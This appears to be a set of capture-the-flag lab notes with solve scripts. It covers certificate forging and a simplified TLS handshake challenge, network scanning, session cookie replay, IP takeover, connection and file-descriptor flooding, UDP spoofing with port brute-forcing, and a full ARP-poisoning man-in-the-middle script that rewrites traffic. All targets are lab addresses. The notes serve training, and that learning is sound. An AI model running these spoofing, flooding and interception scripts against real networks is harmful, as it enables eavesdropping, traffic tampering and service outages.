33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import json

from Crypto.Hash.SHA256 import SHA256Hash
from Crypto.PublicKey import RSA
from pwn import *
from pwn import b64d, b64e, log, process

user_key = RSA.generate(1024)

p = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

p.recvuntil(b"root key d: ")
d = int(p.recvline().strip(), 16)

p.recvuntil(b"root certificate (b64): ")
cert = b64d(p.recvline().strip())

p.recvuntil(b"root certificate signature (b64): ")
cert_sig = b64d(p.recvline().strip())


root_cert_dict = json.loads(cert)
root_n = root_cert_dict["key"]["n"]

user_cert_dict = {
"name": "user",
"key": {
"e": user_key.e,
"n": user_key.n,
},
"signer": "root",
}

user_cert_data = json.dumps(user_cert_dict).encode()
user_cert_hash = SHA256Hash(user_cert_data).digest()

user_cert_signature = pow(int.from_bytes(user_cert_hash, "little"), d, root_n).to_bytes(
256, "little"
)

p.recvuntil(b"user certificate (b64): ")
p.sendline(b64e(user_cert_data))

p.recvuntil(b"user certificate signature (b64): ")
p.sendline(b64e(user_cert_signature).encode())

p.recvuntil(b"secret ciphertext (b64): ")
ciphertext = b64d(p.recvline().strip())

flag_int = pow(int.from_bytes(ciphertext, "little"), user_key.d, user_key.n)

flag = flag_int.to_bytes(256, "little").replace(b"\x00", b"")
log.success(f"Flag recovered: {flag.decode('utf-8')}")

p.interactive()

TLS2

.config -> 14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
def level14():
"""
In this challenge you will perform a simplified Transport Layer Security (TLS) handshake, acting as the server.
You will be provided with Diffie-Hellman parameters, a self-signed root certificate, and the root private key.
The client will request to establish a secure channel with a particular name, and initiate a Diffie-Hellman key exchange.
The server must complete the key exchange, and derive an AES-128 key from the exchanged secret.
Then, using the encrypted channel, the server must supply the requested user certificate, signed by root.
Finally, using the encrypted channel, the server must sign the handshake to prove ownership of the private user key.
"""
# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2

show_hex("p", p)
show_hex("g", g)

root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

name = ''.join(random.choices(string.ascii_lowercase, k=16))
show("name", name)

a = getrandbits(2048)
A = pow(g, a, p)
show_hex("A", A)

B = input_hex("B")
if not (B > 2**1024):
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
exit(1)

s = pow(B, a, p)
key = SHA256Hash(s.to_bytes(256, "little")).digest()[:16]
cipher_encrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)
cipher_decrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)

def decrypt_input_b64(name):
data = input_b64(name)
try:
return unpad(cipher_decrypt.decrypt(data), cipher_decrypt.block_size)
except ValueError as e:
print(f"{name}: {e}", file=sys.stderr)
exit(1)

user_certificate_data = decrypt_input_b64("user certificate")
user_certificate_signature = decrypt_input_b64("user certificate signature")
user_signature = decrypt_input_b64("user signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name != name:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

user_signature_data = (
name.encode().ljust(256, b"\0") +
A.to_bytes(256, "little") +
B.to_bytes(256, "little")
)
user_signature_hash = SHA256Hash(user_signature_data).digest()
user_signature_check = pow(
int.from_bytes(user_signature, "little"),
user_key["e"],
user_key["n"]
).to_bytes(256, "little")[:len(user_signature_hash)]

if user_signature_check != user_signature_hash:
print("Untrusted user: invalid signature", file=sys.stderr)
exit(1)

ciphertext = cipher_encrypt.encrypt(pad(flag, cipher_encrypt.block_size))
show_b64("secret ciphertext", ciphertext)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import json
import random

from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from pwn import *
from pwn import b64d, b64e, log, process

p = process(["/challenge/run"])

log.info("START")

# 1. 提取 DH 参数和 Root 信息
p.recvuntil(b"p: ")
dh_p = int(p.recvline().strip(), 16)
p.recvuntil(b"g: ")
dh_g = int(p.recvline().strip(), 16)

p.recvuntil(b"root key d: ")
root_d = int(p.recvline().strip(), 16)

p.recvuntil(b"root certificate (b64): ")
root_cert_b64 = p.recvline().strip()
root_cert = json.loads(b64d(root_cert_b64).decode())
root_n = root_cert["key"]["n"]

# 跳过 root cert signature 输出
p.recvuntil(b"root certificate signature (b64): ")
p.recvline()

# 2. 获取 Client 信息
p.recvuntil(b"name: ")
client_name = p.recvline().strip().decode()
log.info(f"Target connection name: {client_name}")

p.recvuntil(b"A: ")
client_A = int(p.recvline().strip(), 16)

# 3. Diffie-Hellman Key Exchange
log.info("Initiating DH Key Exchange...")
b_priv = random.getrandbits(2048)
server_B = pow(dh_g, b_priv, dh_p)

# 发送我们的 Public Key B
p.recvuntil(b"B: ")
p.sendline(hex(server_B)[2:].encode())

# 计算 Shared Secret 并派生 AES Key
shared_secret = pow(client_A, b_priv, dh_p)
aes_key = SHA256.new(shared_secret.to_bytes(256, "little")).digest()[:16]

# 初始化 AES-CBC Cipher (Encryptor)
cipher_encrypt = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=b"\0" * 16)


def encrypt_and_b64(data: bytes) -> bytes:
padded_data = pad(data, 16)
encrypted = cipher_encrypt.encrypt(padded_data)
return b64e(encrypted).encode()


# 4. 伪造 User Certificate
log.info("Forging user certificate and signatures...")
user_key = RSA.generate(1024)

user_cert_dict = {
"name": client_name, # 必须匹配 Client 请求的名字
"key": {
"e": user_key.e,
"n": user_key.n,
},
"signer": "root",
}

user_cert_data = json.dumps(user_cert_dict).encode()
user_cert_hash = SHA256.new(user_cert_data).digest()

# 用泄漏的 root 私钥签名 User Cert
user_cert_sig = pow(int.from_bytes(user_cert_hash, "little"), root_d, root_n).to_bytes(
256, "little"
)

# 5. 生成 User Handshake Signature
signature_payload = (
client_name.encode().ljust(256, b"\0")
+ client_A.to_bytes(256, "little")
+ server_B.to_bytes(256, "little")
)
user_sig_hash = SHA256.new(signature_payload).digest()

# 用我们刚才生成的 user 私钥签名 handshake payload
user_signature = pow(
int.from_bytes(user_sig_hash, "little"), user_key.d, user_key.n
).to_bytes(256, "little")

# 6. 发送加密的握手数据
log.info("Sending encrypted payload via secure channel...")
p.recvuntil(b"user certificate (b64): ")
p.sendline(encrypt_and_b64(user_cert_data))

p.recvuntil(b"user certificate signature (b64): ")
p.sendline(encrypt_and_b64(user_cert_sig))

p.recvuntil(b"user signature (b64): ")
p.sendline(encrypt_and_b64(user_signature))

# 7. 解密 Flag
p.recvuntil(b"secret ciphertext (b64): ")
encrypted_flag = b64d(p.recvline().strip())

# 初始化一个新的 AES Cipher 用于 Decrypt (因为 AES.CBC 是有状态的,或者用同一个重置 IV,但新开一个更稳)
cipher_decrypt = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=b"\0" * 16)
flag = unpad(cipher_decrypt.decrypt(encrypted_flag), 16).decode()

log.success(f"{flag}")

scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 1 - basic connect
nc 10.0.0.2 31337

# 2 - TCP half-close: need -N to send EOF after stdin closes
nc -N 10.0.0.2 31337

# 3 - listen
nc -l -p 31337

# 4 - ping sweep /24 + connect
for i in $(seq 256); do ping -w 1 -c 1 10.0.0.$i & done
nc 10.0.0.110 31337

# 5 - nmap /16 subnet scan
nmap -v -n -Pn -p 31337 --min-rate 10000 --open 10.0.0.0/16
nc 10.0.246.42 31337

# 6 - session replay
curl "http://10.0.0.2/flag?user=admin" \
--cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.abFrwg.CMU_GnBUwk4-UoCFYjokaWxhgDI"

# 7 - IP takeover: claim 10.0.0.3 and listen
ip addr add 10.0.0.3/24 dev eth0
ip link set eth0 up
nc -l -p 31337

firewall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1 - drop incoming on port
iptables -A INPUT -p tcp --dport 31337 -j DROP

# 2 - drop from specific source
iptables -I INPUT -s 10.0.0.3 -p tcp --dport 31337 -j DROP

# 3 - accept outgoing
iptables -I OUTPUT -p tcp --dport 31337 -j ACCEPT

# 4 - forward drop (specific src)
iptables -I FORWARD -s 10.0.0.3 -d 10.0.0.2 -p tcp --dport 31337 -j DROP

# 5 - forward drop (all)
iptables -I FORWARD -p tcp --dport 31337 -j DROP

DoS

connection queue exhaustion

server uses listen(1) (single backlog), exhaust it with concurrent connections:

1
nc 10.0.0.2 31337 & nc 10.0.0.2 31337 & nc 10.0.0.2 31337 &

fd exhaustion

1
for i in {1..500}; do exec {fd}<>/dev/tcp/10.0.0.2/31337 2>/dev/null; done

forking server DoS

server uses ForkingTCPServer, client prints flag on timeout. flood with ghost connections that hold sockets open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket, threading, time

def ghost_connection():
while True:
try:
with socket.socket() as s:
s.settimeout(0.1)
s.connect(("10.0.0.2", 31337))
s.settimeout(5.0)
s.recv(1) # hold connection open
except Exception:
pass

for _ in range(100):
threading.Thread(target=ghost_connection, daemon=True).start()
while True:
time.sleep(1)

scapy

CTF 环境中主机通过 veth pair 连接到 Linux Bridge(二层交换机)。Bridge 会学习 Source MAC 并记录到 CAM 表,全零 MAC 或非法多播地址会被内核作为 Martian MAC 直接丢弃。必须使用真实 MAC 地址才能让包通过。

raw packets

1
2
3
4
5
6
7
8
9
10
from scapy.all import send, sendp, Ether, IP, TCP

# L2 - ethernet frame (must use real source MAC)
sendp(Ether(src="aa:98:41:69:f7:79", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")

# L3 - IP packet with custom protocol
send(IP(dst="10.0.0.2", proto=0xff), iface="eth0")

# L4 - TCP with specific fields
send(IP(dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")

TCP handshake

Scapy 绕过系统传输层协议栈直接发包。当目标返回 SYN-ACK 时,内核发现没有对应的 socket 记录,会按 RFC 规范自动发送 RST 掐断连接。需要用 iptables 在 Netfilter 层拦截内核的 RST:

1
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 10.0.0.1 -d 10.0.0.2 --dport 31337 -j DROP

three-way handshake with scapy:

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import send, sr1, IP, TCP

ip = IP(dst="10.0.0.2")

# SYN
syn_ack = sr1(ip / TCP(sport=31337, dport=31337, seq=31337, flags="S"), timeout=2)

# ACK
send(ip / TCP(
sport=31337, dport=31337, flags="A",
seq=syn_ack[TCP].ack,
ack=syn_ack[TCP].seq + 1,
))

UDP

1
2
3
4
from scapy.all import send, sr1, Raw, IP, UDP

ans = sr1(IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337) / Raw(b"Hello, World!\n"))
print(ans[Raw].load)

UDP spoofing

common pattern: server(10.0.0.3:31337) responds NONE to ACTION?, client(10.0.0.2) polls server. spoof a FLAG response from port 31337 to make client print the flag.

spoofing 1 - client on fixed port 31338, expects b"FLAG":

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG"))
print(ans[Raw].load)

spoofing 2 - client expects FLAG:host:port, sends flag back to that address:

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG:10.0.0.1:31337"))
print(ans[Raw].load)

spoofing 3 - client on random port, scapy sr1 can’t match the reply. brute-force all ports with raw socket:

1
2
3
4
5
6
7
8
9
10
11
import socket, sys

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("0.0.0.0", 31337))
s.settimeout(3.0)

for port in range(1, 65535):
s.sendto(b"FLAG:10.0.0.1:31337", ("10.0.0.2", port))

data, addr = s.recvfrom(1024)
print(f"[+] Flag: {data.decode().strip()}")

spoofing 4 - client also checks peer_host == "10.0.0.3", so our source must be 10.0.0.3. but the flag reply goes to FLAG:host:port which we control. use nc listener in background on the same session:

1
2
3
nc -u -lvnp 4444 > tmp &
python brute.py
cat tmp

ARP

send crafted ARP IS_AT response:

1
2
3
4
5
6
7
from scapy.all import sendp, Ether, ARP

sendp(
Ether(dst="42:42:42:42:42:42") /
ARP(op=2, psrc="10.0.0.42", hwsrc="42:42:42:42:42:42", pdst="10.0.0.2", hwdst="42:42:42:42:42:42"),
iface="eth0"
)

ARP poisoning (intercept)

client(10.0.0.2) sends flag to server(10.0.0.3:31337). poison client’s ARP cache to redirect traffic to us:

1
2
3
4
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -d 10.0.0.3 -p tcp --dport 31337 -j REDIRECT --to-ports 31337
nc -lvnp 31337 > tmp &
python poison.py

pdst is critical – without it, Scapy defaults to 0.0.0.0 and the target kernel silently drops the packet.

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
from scapy.all import sendp, Ether, ARP

packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2,
psrc="10.0.0.3",
hwsrc="42:8a:e0:32:96:95", # attacker MAC
pdst="10.0.0.2", # must set!
)

while True:
sendp(packet, iface="eth0", verbose=False)
time.sleep(1)

MitM

client authenticates with server via shared secret, then sends echo command. server also supports flag command. intercept and rewrite echo -> flag.

challenge source (key logic):

1
2
3
4
5
# client gets secret out-of-band, sends hex-encoded to server
# then sends "echo" command + data, expects echo back

# server: command == "echo" -> echo data back
# command == "flag" -> send flag

solution: ARP spoof both sides with arp_mitm, sniff TCP traffic, replace echo payload with flag, forward everything else:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import socket, threading, time
from scapy.all import Raw, get_if_hwaddr, sendp, sniff, IP, TCP, Ether
from scapy.layers.l2 import arp_mitm, getmacbyip

IP_CLIENT, IP_SERVER = "10.0.0.2", "10.0.0.3"
INTERFACE = "eth0"

MAC_CLIENT = getmacbyip(IP_CLIENT)
MAC_SERVER = getmacbyip(IP_SERVER)
MAC_ATTACKER = get_if_hwaddr(INTERFACE)

def arp_spoofer():
while True:
arp_mitm(
ip1=IP_CLIENT, ip2=IP_SERVER,
mac1=MAC_CLIENT, mac2=MAC_SERVER,
broadcast=True, target_mac=MAC_ATTACKER, iface=INTERFACE,
)
time.sleep(1)

def process_packet(pkt):
if not (pkt.haslayer(IP) and pkt.haslayer(TCP)):
return
ip_pkt = pkt[IP].copy()

# client -> server: rewrite "echo" to "flag"
if ip_pkt.src == IP_CLIENT and ip_pkt.dst == IP_SERVER and ip_pkt[TCP].dport == 31337:
if ip_pkt.haslayer(Raw) and ip_pkt[Raw].load == b"echo":
ip_pkt[Raw].load = b"flag"
del ip_pkt.len, ip_pkt.chksum, ip_pkt[TCP].chksum
sendp(Ether(dst=MAC_SERVER) / ip_pkt, iface=INTERFACE, verbose=False)

# server -> client: forward (and print flag)
elif ip_pkt.src == IP_SERVER and ip_pkt.dst == IP_CLIENT and ip_pkt[TCP].sport == 31337:
if ip_pkt.haslayer(Raw):
print(f"[+] Server: {ip_pkt[Raw].load.decode('utf-8', errors='ignore')}")
sendp(Ether(dst=MAC_CLIENT) / ip_pkt, iface=INTERFACE, verbose=False)

threading.Thread(target=arp_spoofer, daemon=True).start()
time.sleep(2)
sniff(filter="tcp port 31337", prn=process_packet, store=0)